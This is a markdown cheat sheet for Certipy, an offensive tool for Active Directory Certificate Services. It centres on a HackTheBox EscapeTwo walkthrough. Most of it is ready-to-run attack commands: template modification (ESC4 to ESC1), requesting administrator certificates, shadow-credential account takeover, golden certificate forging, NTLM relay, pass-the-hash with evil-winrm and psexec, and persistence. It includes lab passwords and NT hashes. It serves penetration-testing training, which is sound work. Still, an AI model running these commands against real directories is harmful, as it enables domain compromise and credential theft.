certipy-ad.md (22753B)
1 --- 2 title: "Certipy-ad" 3 description: "pip install certipy-ad --break-system-packages" 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: ["active-directory", "kerberos", "adcs", "hashing"] 7 tools: ["Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"] 8 difficulty: intermediate 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/Certipy-ad.md" 11 --- 12 # ๐ Certipy-AD Cheat Sheet 13 14 > **A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad** 15 16 > **Note โ `certipy-ad` and `certipy` are the same tool.** `certipy-ad` is only the PyPI package name (the `certipy` name was already taken); the syntax, flags and subcommands are identical. The binary on your `$PATH` may be `certipy` or `certipy-ad` depending on the install (Kali apt โ `certipy-ad`; `pip install certipy-ad` โ usually `certipy`). Drop the `-ad` in any command below if that is what your box exposes; run `which certipy certipy-ad` to check. 17 18 *** 19 20 ## ๐ Table of Contents 21 22 - [Overview](#-overview) 23 - [Installation](#-installation) 24 - [Common Usage Patterns](#-common-usage-patterns) 25 - [Command Reference](#-command-reference) 26 - [ESC4 Exploitation Workflow](#-esc4-exploitation-workflow) 27 - [HTB EscapeTwo Context](#-htb-escapetwo-context) 28 - [Post-Exploitation](#-post-exploitation) 29 - [Tips & Best Practices](#-tips--best-practices) 30 31 *** 32 33 ## ๐ฏ Overview 34 35 **Certipy-ad** is an offensive security tool designed to enumerate and exploit Active Directory Certificate Services (AD CS) misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities, making it essential for penetration testing AD environments. 36 37 ### ๐ Key Capabilities 38 39 - ๐ **Enumeration**: Identify vulnerable certificate templates and CAs 40 - ๐ซ **Certificate Requests**: Request certificates with custom attributes 41 - ๐ **Authentication**: Use certificates for Kerberos authentication and NT hash retrieval 42 - ๐ ๏ธ **Template Manipulation**: Modify certificate templates to create exploitation paths 43 - ๐ค **Shadow Credentials**: Add Key Credential Links for account takeover 44 - ๐ **Golden Certificates**: Forge certificates using compromised CA keys 45 46 *** 47 48 ## ๐ฆ Installation 49 50 ```bash 51 # Install via pip 52 pip install certipy-ad --break-system-packages 53 54 # Install via apt (Kali Linux) 55 sudo apt install certipy-ad 56 57 # Verify installation 58 certipy-ad -h 59 ``` 60 61 *** 62 63 ## ๐ก Common Usage Patterns 64 65 ### ๐ Enumeration Workflow 66 67 ```bash 68 # Basic enumeration 69 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 70 71 # Enumerate vulnerable templates only 72 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled 73 74 # Output to specific format 75 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results 76 77 # Using NTLM hash authentication 78 certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51 79 ``` 80 81 ### ๐ซ Certificate Request Workflow 82 83 ```bash 84 # Request certificate with UPN 85 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51 86 87 # Request using hash authentication 88 certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51 89 90 # Retrieve previously requested certificate 91 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51 92 ``` 93 94 ### ๐ Authentication Workflow 95 96 ```bash 97 # Authenticate using certificate 98 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 99 100 # With PFX password 101 certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51 102 103 # Save in kirbi format 104 certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51 105 106 # LDAP shell access 107 certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51 108 ``` 109 110 *** 111 112 ## ๐ Command Reference 113 114 ### ๐ง Global Flags 115 116 | Flag | Description | Example | 117 |------|-------------|---------| 118 | `-u`, `-username` | Username for authentication | `-u user@domain.local` | 119 | `-p`, `-password` | Password for authentication | `-p 'Password123'` | 120 | `-hashes` | NTLM hash (pass-the-hash) | `-hashes ':NTHASH'` or `-hashes 'LMHASH:NTHASH'` | 121 | `-k` | Use Kerberos authentication from ccache | `-k` | 122 | `-aes` | AES key for Kerberos auth | `-aes <hex_key>` | 123 | `-dc-ip` | Domain controller IP address | `-dc-ip 10.10.11.51` | 124 | `-dc-host` | ๐ **DC hostname โ REQUIRED in Certipy v5+** | `-dc-host dc01.domain.local` | 125 | `-target` | Target machine DNS/IP | `-target ca.domain.local` | 126 | `-ns` | ๐ Nameserver for DNS resolution (pin to DC IP to avoid rerouting) | `-ns 10.10.11.51` | 127 | `-timeout` | Connection timeout in seconds | `-timeout 30` | 128 | `-debug` | Enable debug output | `-debug` | 129 130 > ๐ **โ ๏ธ Certipy v5 Note โ Always pass `-dc-host`:** In Certipy v5+, omitting `-dc-host` causes the tool to use the domain name as the DC host and attempt a secondary DNS resolution. If that resolves to an internal AD IP that isn't routable from your VPN (`Target IP: None` in debug output), you'll get `[Errno 113] No route to host` even when your `-dc-ip` is correct and `/etc/hosts` is properly configured. **Always pair `-dc-ip` with `-dc-host`.** 131 132 *** 133 134 ### 1๏ธโฃ `find` - Enumerate AD CS 135 136 **Purpose**: Discover certificate templates, CAs, and misconfigurations 137 138 ```bash 139 certipy-ad find [options] 140 ``` 141 142 #### ๐ Key Flags 143 144 | Flag | Description | 145 |------|-------------| 146 | `-vulnerable` | Show only vulnerable templates | 147 | `-enabled` | Show only enabled templates | 148 | `-text` | Output as formatted text file | 149 | `-json` | Output as JSON | 150 | `-csv` | Output as CSV | 151 | `-stdout` | Output directly to console | 152 | `-output <prefix>` | File prefix for output | 153 | `-oids` | Show Issuance Policies | 154 | `-hide-admins` | Suppress admin permissions | 155 | `-dc-only` | Only collect from DC (skip CA queries) | 156 157 #### ๐ป Example Commands 158 159 ```bash 160 # Find vulnerable templates 161 certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -enabled -stdout 162 163 # Full enumeration with all outputs 164 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -json -text -output dc01_enum 165 ``` 166 167 *** 168 169 ### 2๏ธโฃ `req` - Request Certificates 170 171 **Purpose**: Request and retrieve certificates from AD CS 172 173 ```bash 174 certipy-ad req [options] 175 ``` 176 177 #### ๐ Key Flags 178 179 | Flag | Description | 180 |------|-------------| 181 | `-ca <name>` | Certificate Authority name | 182 | `-template <name>` | Certificate template name | 183 | `-upn <upn>` | User Principal Name for SAN | 184 | `-dns <dns>` | DNS name for SAN | 185 | `-sid <sid>` | Object SID for SAN | 186 | `-subject <dn>` | Certificate subject DN | 187 | `-retrieve <id>` | Retrieve certificate by request ID | 188 | `-on-behalf-of <user>` | Request on behalf of another user | 189 | `-pfx <file>` | PFX for on-behalf-of or renewal | 190 | `-renew` | Create renewal request | 191 | `-out <file>` | Output PFX filename | 192 | `-web` | Use Web Enrollment | 193 | `-dcom` | Use DCOM Enrollment | 194 195 #### ๐ป Example Commands 196 197 ```bash 198 # Request certificate with custom UPN (ESC1) 199 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 200 -ca sequel-DC01-CA -template DunderMifflinAuthentication \ 201 -upn administrator@sequel.htb \ 202 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # ๐ dc-host required in v5 203 204 # Retrieve certificate by request ID 205 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 \ 206 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 207 208 # Request on behalf of another user (ESC2/ESC3) 209 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User \ 210 -on-behalf-of 'domain\administrator' -pfx user.pfx \ 211 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 212 ``` 213 214 *** 215 216 ### 3๏ธโฃ `auth` - Authenticate with Certificate 217 218 **Purpose**: Use certificates for authentication and NT hash retrieval 219 220 ```bash 221 certipy-ad auth -pfx <cert.pfx> [options] 222 ``` 223 224 #### ๐ Key Flags 225 226 | Flag | Description | 227 |------|-------------| 228 | `-pfx <file>` | Path to certificate (PFX/P12) | 229 | `-password <pass>` | PFX file password | 230 | `-no-save` | Don't save TGT to file | 231 | `-no-hash` | Don't request NT hash | 232 | `-print` | Print TGT in kirbi format | 233 | `-kirbi` | Save as .kirbi instead of ccache | 234 | `-username <user>` | Override certificate username | 235 | `-domain <domain>` | Override certificate domain | 236 | `-ldap-shell` | Start LDAP shell after auth | 237 238 #### ๐ป Example Commands 239 240 ```bash 241 # Authenticate and retrieve NT hash 242 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 243 244 # With password-protected PFX 245 certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51 246 247 # Start LDAP shell 248 certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51 249 ``` 250 251 *** 252 253 ### 4๏ธโฃ `template` - Manage Templates 254 255 **Purpose**: View and modify certificate template configurations 256 257 ```bash 258 certipy-ad template -template <name> [options] 259 ``` 260 261 #### ๐ Key Flags 262 263 | Flag | Description | 264 |------|-------------| 265 | `-template <name>` | Certificate template name | 266 | `-save-configuration <file>` | Save current config to JSON | 267 | `-write-configuration <file>` | Apply config from JSON file | 268 | `-write-default-configuration` | Apply default ESC1 config | 269 | `-no-save` | Skip backup before changes | 270 | `-force` | Don't prompt for confirmation | 271 272 #### ๐ป Example Commands 273 274 ```bash 275 # Save template configuration 276 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \ 277 -save-configuration backup.json \ 278 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # ๐ 279 280 # Apply ESC1 configuration (make vulnerable) 281 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication \ 282 -write-default-configuration \ 283 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # ๐ 284 285 # Restore from backup 286 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \ 287 -write-configuration backup.json -no-save \ 288 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # ๐ 289 ``` 290 291 *** 292 293 ### 5๏ธโฃ `shadow` - Shadow Credentials 294 295 **Purpose**: Manipulate Key Credential Links for account takeover 296 297 ```bash 298 certipy-ad shadow <action> [options] 299 ``` 300 301 #### ๐ Actions & Flags 302 303 | Action | Description | 304 |--------|-------------| 305 | `auto` | Automatically exploit (add, auth, restore) | 306 | `list` | List all Key Credentials | 307 | `add` | Add new Key Credential | 308 | `remove` | Remove specific Key Credential | 309 | `clear` | Remove all Key Credentials | 310 | `info` | Display detailed information | 311 312 | Flag | Description | 313 |------|-------------| 314 | `-account <target>` | Target account | 315 | `-device-id <guid>` | Specific device ID | 316 | `-out <file>` | Output certificate file | 317 318 #### ๐ป Example Commands 319 320 ```bash 321 # ๐ Automatic shadow credential attack โ FULL recommended syntax for v5 322 certipy-ad shadow auto \ 323 -u user@domain.local \ 324 -p 'password' \ 325 -account 'target_user' \ 326 -dc-ip 10.10.11.51 \ 327 -dc-host dc01.domain.local \ # โ REQUIRED in v5, prevents EHOSTUNREACH (113) 328 -ns 10.10.11.51 # โ Pin DNS to DC to avoid internal IP rerouting 329 330 # List Key Credentials 331 certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' \ 332 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 333 334 # Add Key Credential 335 certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' \ 336 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 337 ``` 338 339 > ๐ **HTB Fluffy Lesson**: `shadow auto` without `-dc-host` on Certipy v5 will print `Target IP: None` in debug mode and fail with `[Errno 113] No route to host` even with a correct `-dc-ip` and valid `/etc/hosts`. The fix is always to pass `-dc-host dc01.<domain>` explicitly. 340 341 *** 342 343 ### 6๏ธโฃ `account` - Manage Accounts 344 345 **Purpose**: Create, read, update, delete AD accounts 346 347 ```bash 348 certipy-ad account <action> -user <name> [options] 349 ``` 350 351 #### ๐ Actions & Flags 352 353 | Action | Description | 354 |--------|-------------| 355 | `create` | Create new account | 356 | `read` | Read account properties | 357 | `update` | Modify existing account | 358 | `delete` | Delete account | 359 360 | Flag | Description | 361 |------|-------------| 362 | `-user <name>` | SAM account name | 363 | `-pass <password>` | Set password | 364 | `-dns <hostname>` | Set DNS hostname | 365 | `-upn <upn>` | Set UPN | 366 | `-spns <spn1,spn2>` | Set SPNs | 367 368 #### ๐ป Example Commands 369 370 ```bash 371 # Create machine account 372 certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' \ 373 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 374 375 # Update account password 376 certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' \ 377 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 378 ``` 379 380 *** 381 382 ### 7๏ธโฃ `ca` - Manage Certificate Authority 383 384 **Purpose**: Manage CA settings and certificate requests 385 386 ```bash 387 certipy-ad ca -ca <name> [options] 388 ``` 389 390 #### ๐ Key Flags 391 392 | Flag | Description | 393 |------|-------------| 394 | `-ca <name>` | CA name | 395 | `-list-templates` | List enabled templates | 396 | `-enable-template <name>` | Enable template on CA | 397 | `-disable-template <name>` | Disable template on CA | 398 | `-issue-request <id>` | Approve pending request | 399 | `-deny-request <id>` | Deny pending request | 400 | `-add-officer <user>` | Add certificate officer | 401 402 #### ๐ป Example Commands 403 404 ```bash 405 # List enabled templates 406 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates \ 407 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 408 409 # Approve pending request 410 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 \ 411 -dc-ip 10.10.11.51 -dc-host dc01.domain.local 412 ``` 413 414 *** 415 416 ### 8๏ธโฃ `forge` - Forge Certificates 417 418 **Purpose**: Create golden certificates or self-signed certs 419 420 ```bash 421 certipy-ad forge [options] 422 ``` 423 424 #### ๐ Key Flags 425 426 | Flag | Description | 427 |------|-------------| 428 | `-ca-pfx <file>` | CA certificate/key (for golden cert) | 429 | `-ca-password <pass>` | CA PFX password | 430 | `-upn <upn>` | UPN for certificate | 431 | `-subject <dn>` | Certificate subject | 432 | `-template <file>` | Clone from template cert | 433 | `-out <file>` | Output PFX file | 434 | `-validity-period <days>` | Validity in days | 435 436 #### ๐ป Example Commands 437 438 ```bash 439 # Forge golden certificate 440 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local \ 441 -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx 442 ``` 443 444 *** 445 446 ### 9๏ธโฃ `relay` - NTLM Relay 447 448 **Purpose**: Relay NTLM authentication to AD CS endpoints 449 450 ```bash 451 certipy-ad relay -target <proto://host> [options] 452 ``` 453 454 #### ๐ Key Flags 455 456 | Flag | Description | 457 |------|-------------| 458 | `-target <proto://host>` | Target (http:// or rpc://) | 459 | `-ca <name>` | CA name (for RPC) | 460 | `-template <name>` | Certificate template | 461 | `-interface <ip>` | Listen interface | 462 | `-port <port>` | Listen port (default: 445) | 463 | `-forever` | Keep relay server alive | 464 | `-enum-templates` | Enumerate templates via relay | 465 466 *** 467 468 ## ๐ฏ ESC4 Exploitation Workflow 469 470 **ESC4** occurs when an attacker has **write permissions** over a certificate template, allowing them to modify it to become vulnerable (typically ESC1). 471 472 ### ๐ Prerequisites 473 474 - โ Compromised account with write access to a certificate template 475 - โ Membership in groups with template modification rights (e.g., Cert Publishers) 476 - โ Access to Active Directory Certificate Services 477 478 ### ๐ Step-by-Step Exploitation 479 480 #### **Step 1: Enumerate and Identify ESC4** 481 482 ```bash 483 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 484 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -stdout # ๐ dc-host added 485 486 # Look for output like: 487 # [!] Vulnerabilities 488 # ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions 489 ``` 490 491 #### **Step 2: Modify Template (Certipy 5.x)** 492 493 ```bash 494 certipy-ad template -u ca_svc@sequel.htb \ 495 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 496 -template DunderMifflinAuthentication \ 497 -write-default-configuration \ 498 -dc-ip 10.10.11.51 \ 499 -dc-host dc01.sequel.htb # ๐ 500 ``` 501 502 #### **Step 3: Request Certificate with UPN** 503 504 ```bash 505 certipy-ad req -u ca_svc@sequel.htb \ 506 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 507 -ca sequel-DC01-CA \ 508 -template DunderMifflinAuthentication \ 509 -upn administrator@sequel.htb \ 510 -dc-ip 10.10.11.51 \ 511 -dc-host dc01.sequel.htb # ๐ 512 513 # Output: administrator.pfx 514 ``` 515 516 #### **Step 4: Authenticate and Extract Hash** 517 518 ```bash 519 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 520 # Output: aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff 521 ``` 522 523 #### **Step 5: Use Hash for Access** 524 525 ```bash 526 # WinRM access 527 evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff 528 529 # SMB access 530 smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$ 531 532 # psexec 533 psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51 534 ``` 535 536 #### **Step 6: Restore Template (Clean Up)** 537 538 ```bash 539 certipy-ad template -u ca_svc@sequel.htb \ 540 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 541 -template DunderMifflinAuthentication \ 542 -write-configuration DunderMifflinAuthentication.json \ 543 -no-save \ 544 -dc-ip 10.10.11.51 \ 545 -dc-host dc01.sequel.htb # ๐ 546 ``` 547 548 *** 549 550 ### ๐ง Alternative Method (Certipy 4.x - Legacy) 551 552 ```bash 553 # Step 1: Modify template (auto-saves backup) 554 certipy-ad template -u ca_svc -hashes :HASH \ 555 -dc-ip 10.10.11.51 \ 556 -template DunderMifflinAuthentication \ 557 -target dc01.sequel.htb \ 558 -save-old 559 560 # Step 2: Request certificate 561 certipy-ad req -ca sequel-DC01-CA \ 562 -u ca_svc -hashes :HASH \ 563 -dc-ip 10.10.11.51 \ 564 -template DunderMifflinAuthentication \ 565 -target dc01.sequel.htb \ 566 -upn administrator@sequel.htb 567 568 # Step 3: Authenticate 569 certipy-ad auth -pfx administrator.pfx 570 571 # Step 4: Restore (backup auto-created) 572 # Check for DunderMifflinAuthentication.json in current directory 573 ``` 574 575 *** 576 577 ## ๐ HTB EscapeTwo Context 578 579 ### ๐ฏ Scenario Overview 580 581 In HTB EscapeTwo, the exploitation path involves: 582 583 1. **Initial Access**: Credentials for `rose` โ find SQL admin password โ shell as `sql_svc` 584 2. **Lateral Movement**: Find `ryan` credentials โ WinRM access 585 3. **Privilege Escalation**: `ryan` has `WriteOwner` on `ca_svc` account 586 4. **Account Takeover**: Use BloodyAD to take ownership and grant permissions 587 5. **Shadow Credentials**: Add shadow credential to `ca_svc` 588 6. **ESC4 Exploitation**: `ca_svc` is in Cert Publishers group โ modify template โ escalate to Administrator 589 590 ### ๐ Key Commands from HTB EscapeTwo 591 592 ```bash 593 # Ownership change (using BloodyAD) 594 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan 595 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan 596 597 # Shadow credential attack โ ๐ full v5 syntax 598 certipy-ad shadow auto \ 599 -u ryan@sequel.htb \ 600 -p 'WqSZAF6CysDQbGb3' \ 601 -account 'ca_svc' \ 602 -dc-ip 10.10.11.51 \ 603 -dc-host dc01.sequel.htb \ 604 -ns 10.10.11.51 605 606 # ESC4 enumeration 607 certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \ 608 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -stdout 609 610 # Template modification 611 certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 612 -template DunderMifflinAuthentication -write-default-configuration \ 613 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb 614 615 # Certificate request 616 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 617 -ca sequel-DC01-CA -template DunderMifflinAuthentication \ 618 -upn administrator@sequel.htb \ 619 -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb 620 621 # Authentication 622 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 623 ``` 624 625 *** 626 627 ## ๐ Post-Exploitation 628 629 ### ๐ซ Using Certificates 630 631 ```bash 632 # Pass-the-Certificate with evil-winrm 633 evil-winrm -i DC01 -c admin.crt -k admin.key 634 635 # Use ccache for Kerberos auth 636 export KRB5CCNAME=administrator.ccache 637 smbclient.py -k -no-pass administrator@dc01.sequel.htb 638 639 # Convert PFX to PEM for other tools 640 openssl pkcs12 -in admin.pfx -nocerts -out admin.key 641 openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt 642 ``` 643 644 ### ๐ Persistence 645 646 ```bash 647 # Renew certificate before expiration 648 certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template \ 649 -renew -pfx admin.pfx -dc-ip 10.10.11.51 -dc-host dc01.domain.local 650 651 # Forge golden certificate (requires CA key) 652 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx 653 ``` 654 655 *** 656 657 ## ๐ก Tips & Best Practices 658 659 ### โ ๏ธ Operational Security 660 661 - ๐ **Always backup templates** before modification 662 - ๐งน **Clean up** after testing (restore configurations) 663 - ๐ **Document** request IDs for later retrieval 664 - โฐ **Note certificate validity periods** for persistence planning 665 666 ### ๐ฏ Enumeration Tips 667 668 - ๐ Start with `-vulnerable -enabled` for quick wins 669 - ๐ Use `-json` output for parsing with tools like `jq` 670 - ๐ญ Check group memberships (Cert Publishers is key for ESC4) 671 - ๐ Enumerate with BloodHound for WriteOwner/GenericAll on service accounts 672 673 ### ๐ Common Attack Chains 674 675 ``` 676 WriteOwner/GenericAll โ Shadow Credentials โ Hash โ Certificate Request 677 WriteDACL โ Template Modification (ESC4) โ Certificate โ Domain Admin 678 ManageCA + ManageCertificates โ ESC7 โ Certificate โ Compromise 679 ``` 680 681 ### ๐ง Troubleshooting 682 683 | Error | Cause | Solution | 684 |-------|-------|----------| 685 | `[Errno 113] No route to host` | ๐ Certipy v5 resolves DC to internal AD IP (`Target IP: None`) instead of using `-dc-ip` | Add `-dc-host dc01.domain.local -ns <dc-ip>` to every command | 686 | `CERTSRV_E_TEMPLATE_DENIED` | User not authorized for template | Check enrollment rights | 687 | `Object SID mismatch` | Strong Certificate Mapping enabled | Use `-sid` flag | 688 | `INSUFF_ACCESS_RIGHTS` | Need GenericAll/WriteOwner | Check permissions | 689 | Connection timeout | Firewall or stale machine IP (HTB reset) | Re-verify `$TARGET`, check VPN with `ping` | 690 | `entryAlreadyExists` (BloodyAD) | ๐ Object already in group โ not an error | Step already complete, move on | 691 692 *** 693 694 ## ๐ References 695 696 - ๐ [Certipy GitHub Wiki](https://github.com/ly4k/Certipy/wiki) 697 - ๐ [Certified Pre-Owned Whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) 698 - ๐ [HackTheBox EscapeTwo Writeup](https://0xdf.gitlab.io/2025/05/24/htb-escapetwo.html) 699 - ๐ [HackTheBox Fluffy Writeup](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) ๐ 700 - ๐ก๏ธ [ADCS Attack Paths - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs) 701 702 *** 703 704 **Created for HTB: EscapeTwo** | **Last Updated: April 2026** | **Certipy Version: 5.0.4+** ๐ 705 706 Sources